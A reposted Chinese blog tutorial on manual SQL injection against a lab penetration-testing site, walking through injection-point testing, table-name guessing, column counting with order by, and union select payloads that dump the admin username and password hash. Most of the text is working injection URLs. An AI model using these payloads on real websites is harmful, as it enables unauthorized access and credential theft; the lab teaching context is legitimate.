SQL注入是黑客对数据库进行攻击的常用手段之一,其核心思想在于:黑客在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据。下面我们就对之前已经搭建好的渗透平台进行SQL注入,最终目的是获得网站的管理员账号和密码。目标服务器IP地址:192.168.80.129,黑客主机IP地址:192.168.80.128。
(1)寻找注入点
随便打开一个网页,注意观察URL。
注入点必定是类似“http://192.168.80.129/shownews.asp?id=7”这类存在命令调用的页面,“shownews.asp?id=7”是页面传值,就是将“id=7”传到“shownews.asp”页面里进行处理。
我们可以在这个URL后面加上and 1=1和and 1=2进行测试。
http://192.168.80.129/shownews.asp?id=7 and 1=1 ,网页仍能正常显示。
http://192.168.80.129/shownews.asp?id=7 and 1=2 ,网页无法正常显示。
这就表明“asp?”把我们自己加上的“and 1=1”也作为一个命令参数进行了调用,那我们就可以来构造一些SQL语句来被调用执行,从而得到需要的信息,这就是所谓的注入漏洞。像这样可以调用命令参数的网页就称为注入点。
(2)猜表名
黑客进行网站渗透的主要目的是获得网站管理员的用户名和密码,用户名和密码都是存放在后台数据库的某个表中,所以首先我们得猜出这个数据表的名字是什么。
表名用的最多的是admin和admin_user,我们可以在注入点URL的后面加上这样一条语句来猜表名:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0
“select count(*) from admin”的意思是统计admin表中有几条记录,如果admin表存在,那么这条语句就会得到一个数值。用这个数值跟>0比较,结果肯定是成立的,所以此时网页应该正常显示。反之,如果admin表不存在,那么“select count(*) from admin”就得不到任何数值,跟>0比较,结果不成立,网页也就无法正常显示。
如果网页不能正常显示,可以再换一个表名进行尝试,直到正常显示为止:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0
这个网站的表名就是manage_user。
常见表名主要有:admin sysadmin manger admin123 webadmin member manage_user
注意:如果表名实在猜不出来,也可以使用明小子之类的工具来帮忙。
(3)猜字段的数量
下一步是猜这个表中哪个字段存放着用户名和密码,首先需要知道数据表中一共有几个字段。
这里要用到“order by”语句,“order by”的本意是按某个字段排序,“order by 10”就是按第10个字段排序,如果第10个字段存在,那么网页就会正常显示,否则如果网页无法正常显示,则表明第10字段不存在。
http://192.168.80.129/shownews.asp?id=7 order by 11
通过这种方法可以猜出这个表一共有11个字段。
(4)猜字段名
下一步是需要知道哪个字段存放着用户名和密码,这里用到“union select”联合查询语句。
http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user
这里会将存放用户名和密码的字段爆出。
存放用户名的字段一般叫username,存放密码的字段一般叫password,将第2和第3字段替换成这两个名字:
http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user
这时就将用户名和密码爆出了。
(5)猜后台管理入口
在这个2.0版的南方数据模板中,本身就带有“管理员登入”的链接。现在大多数网站不会这样设置的,所以这里一般要凭经验来猜,管理入口一般存放在名为admin的网站子目录下,输入下面的地址http://192.168.80.129/admin,就自动将管理入口显示出来了。
在这里就可以用之前爆出的管理员账号和密码来登录,但是密码“3acdbb255b45d296”很明显是经过MD5加密的,如何才能解密呢?这将在下篇博文来介绍。
本文转自 yttitan 51CTO博客,原文链接:http://blog.51cto.com/yttitan/1560917